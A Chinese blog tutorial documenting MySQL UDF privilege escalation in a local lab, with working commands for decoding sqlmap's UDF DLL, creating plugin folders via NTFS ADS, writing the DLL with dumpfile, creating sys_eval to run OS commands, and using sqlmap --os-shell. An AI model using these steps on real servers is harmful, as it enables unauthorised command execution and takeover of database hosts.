美文网首页Web攻防
初识udf提权及利用小结

初识udf提权及利用小结

作者: book4yi | 来源:发表于2020-12-02 22:16 被阅读0次

前言


UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。 由于是用户自定义的函数,所以我们可以利用UDF创建一个执行命令的函数。

三种不同的利用情况:


1、mysql < 5.0,导出路径随意。
2、5.0 <= mysql < 5.1,udf.dll 则需要导出至目标服务器的系统目录 (如:c:/windows/system32/)
3、mysql > 5.1,udf.dll 必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。

利用条件:


1、掌握mysql数据库的账户,能够正常外连。
2、拥有对mysql的insert和delete权限,以创建和抛弃函数。
3、拥有可以将udf.dll写入相应目录的权限。最好的情况是secure_file_priv变量为空,导入导出不会被限制

secure_file_priv变量:

secure_file_priv=NULL,禁止导入导出
secure_file_priv='',不限制导入导出
secure_file_priv=/path/,只能向指定目录导入导出

环境介绍:

win7 + apache2.4.41 + php7.3.16 + Mysql5.5.29
漏洞环境:pikachu

udf.dll获取:

根据目标机器的相关信息,到Sqlmap目录下找到对应的dll文件,目标是windows 64位操作系统
Sqlmap将原本的dll文件进行了编码处理,我们需要通过脚本进行解密获得dll文件:

cd C:\Python\python38\sqlmap\extra\cloak
python cloak.py -d -i C:\Python\python38\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_

获得dll文件:

利用过程:


udf有两种加载方法:

1、修改MySQL配置文件
2、UDF放置在MySQL指定的插件目录中加载

修改MySQL配置文件:

这里虽然用不到,但还是记录一下,未雨绸缪~
启动参数配置:

// 通过mysqld更改plugin的目录位置
mysqld.exe –plugin-dir=C:\\temp\\plugins\\
// 编写一个新的mysql配置文件,并通过–defaults-file参数将其传递给mysqld
mysqld.exe --defaults-file=C:\temp\my.ini

my.ini配置:

[mysqld]
plugin_dir = C:\\temp\\plugins\\

由于实验环境中mysql版本大于5.1,查看 mysql 插件目录是否有被修改:

show variables like 'plugin_dir';
# 查看数据库安装路径
select @@basedir;
  • 利用NTFS ADS流模式突破进而创建文件夹:

NTFS文件系统中的文件夹没有data流,但可以指派data流,文件夹的主流为directory流($INDEX_ALLOCATION),流名默认为$I30

# 利用NTFS ADS创建lib目录
select 'xxx' into dumpfile 'D:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib::$INDEX_ALLOCATION';
# 利用NTFS ADS创建plugin目录
select 'xxx' into dumpfile 'D:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin::$INDEX_ALLOCATION';

本地测试的时候,虽然报错了,但确实创建了lib文件夹:

同理继续创建plugin文件夹。

获取本地udf.dll的hex值:

select hex(load_file('C:\\Python\\python38\\sqlmap\\data\\udf\\mysql\\windows\\64\\lib_mysqludf_sys.dll'))

将dll文件上传到目标的Mysql插件目录中:

select 0xcode into dumpfile 'D:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin\\udf.dll';
# 或者:
# select unhex(十六进制)
# select char(77,90,144...)

通过dll文件创建函数:

create function sys_eval returns string soname "udf.dll";

其中共可创建四种函数:

sys_eval,执行任意命令,并将输出返回
sys_exec,执行任意命令,并将退出码返回
sys_get,获取一个环境变量
sys_set,创建或修改一个环境变量

尝试执行系统命令:

select sys_eval('whoami');

删除创建的函数:

drop function sys_eval;

检测是否删除成功:

select * from mysql.func where name = 'sys_eval';

sqlmap提权:


1、连接数据库

python sqlmap.py -d "mysql://root:root@192.168.107.140:3306/mysql" --sql-shell

2、创建lib、plugin文件夹

sql-shell> select 'xxx' into dumpfile 'D:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib::$INDEX_ALLOCATION';
sql-shell> select 'xxx' into dumpfile 'D:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin::$INDEX_ALLOCATION';

3、上传dll文件进行提权

python sqlmap.py -d "mysql://root:root@192.168.107.140:3306/mysql" --os-shell

打完收工~

参考如下:


Mysql-Udf提权
Mysql UDF BackDoor

相关文章

  • 初识udf提权及利用小结

    前言 UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过...

  • 17.提权

    提权方法:溢出漏洞提权、数据库提权(mysql提权(udf提权,mof提权,自启动提权)、mssql提权)、第三方...

  • UDF提权

    1.什么是udf UDF是mysql的一个拓展接口,UDF(User defined function)可翻译为用...

  • udf提权

    天闲的无聊DEDECMS搞了几个站。没事做提权吧。真的很久很久没有玩这东西了。测试经典的UDF.dll提权一次性成...

  • mysql的提权的四种方案

    mysql的提权原理就是让mysql能够执行系统命令,而对与mysql的提权主要分为两种:MOF提权和UDF提权第...

  • Linux提权

    简单概述Linux的几种提权的办法。 内核溢出提权 mysql udf提权 上传库文件 执行库文件创建命令执行函数...

  • 【提权】MySQL提权之UDF

    0x01 UDF UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。...

  • mysql提权之udf提权

    提权的前提 mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下...

  • 网络安全-Day49-MYsql UDF提权

    mysqludf提权操作 提示:上传udf.dll 小于mysql5.1版本 C:\\WINDOWS\\udf.d...

  • SQL提权

    UDF手工提权辅助: select @@basedir; #查看mysql安装目录select 'It is dl...

网友评论

    本文标题:初识udf提权及利用小结

    本文链接:https://www.haomeiwen.com/subject/cgmujktx.html